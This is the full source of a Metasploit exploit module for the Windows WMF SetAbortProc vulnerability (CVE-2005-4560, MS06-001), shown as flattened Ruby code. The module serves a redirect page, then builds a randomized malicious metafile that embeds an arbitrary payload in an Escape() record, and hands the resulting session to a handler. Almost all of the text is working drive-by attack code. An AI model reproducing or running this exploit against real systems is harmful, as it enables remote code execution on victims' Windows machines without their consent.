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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 | ## # $Id: ms06_001_wmf_setabortproc.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution', 'Description'=> %q{ This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request. }, 'License'=> MSF_LICENSE, 'Author' => [ 'hdm', 'san <san@xfocus.org>', 'O600KO78RUS@unknown.ru', ], 'Version'=> '$Revision: 10394 $', 'References' => [ ['CVE', '2005-4560'], ['OSVDB', '21987'], ['MSB', 'MS06-001'], ['BID', '16074'], ['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'], ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'], ['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP/2003/Vista Automatic', { }], ], 'DisclosureDate' => 'Dec 27 2005', 'DefaultTarget'=> 0)) end def on_request_uri(cli, request) ext = 'wmf' if (not request.uri.match(/\.wmf$/i)) if ("/" == get_resource[-1,1]) wmf_uri = get_resource[0, get_resource.length - 1] else wmf_uri = get_resource end wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext html = "<html><meta http-equiv='refresh' content='0; " + "URL=#{wmf_uri}'><body>One second please...</body></html>" send_response_html(cli, html) return end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' }) # Handle the payload handler(cli) end def generate_metafile(payload) # Minimal length values before and after the Escape record pre_mlen = 1440 + rand(8192) suf_mlen = 128+ rand(8192) # Track the number of generated records fill = 0 # The prefix and suffix buffers pre_buff = '' suf_buff = '' # Generate the prefix while (pre_buff.length < pre_mlen) pre_buff << generate_record() fill += 1 end # Generate the suffix while (suf_buff.length < suf_mlen) suf_buff << generate_record() fill += 1 end clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length data = # # WindowsMetaHeader # [ # WORDFileType; /* Type of metafile (1=memory, 2=disk) */ rand(2)+1, # WORDHeaderSize; /* Size of header in WORDS (always 9) */ 9, # WORDVersion;/* Version of Microsoft Windows used */ ( rand(2).to_i == 1 ? 0x0300 : 0x0100 ), # DWORD FileSize; /* Total size of the metafile in WORDs */ clen/2, # WORDNumOfObjects; /* Number of objects in the file */ rand(0xffff), # DWORD MaxRecordSize;/* The size of largest record in WORDs */ rand(0xffffffff), # WORDNumOfParams;/* Not Used (always 0) */ rand(0xffff), ].pack('vvvVvVv') + # # Filler data # pre_buff + # # StandardMetaRecord - Escape() # [ # DWORD Size;/* Total size of the record in WORDs */ 4, # WORDFunction;/* Function number (defined in WINDOWS.H) */ (rand(256).to_i << 8) + 0x26, # WORDParameters[];/* Parameter values passed to function */ 9, ].pack('Vvv') + payload.encoded + # # Filler data # suf_buff + # # Complete the stream # [3, 0].pack('Vv') + # # Some extra fun padding # rand_text(rand(16384)+1024) return data end def generate_record type = rand(3) case type when 0 # CreatePenIndirect return [8, 0x02fa].pack('Vv') + rand_text(10) when 1 # CreateBrushIndirect return [7, 0x02fc].pack('Vv') + rand_text(8) else # Rectangle return [7, 0x041b].pack('Vv') + rand_text(8) end end end |
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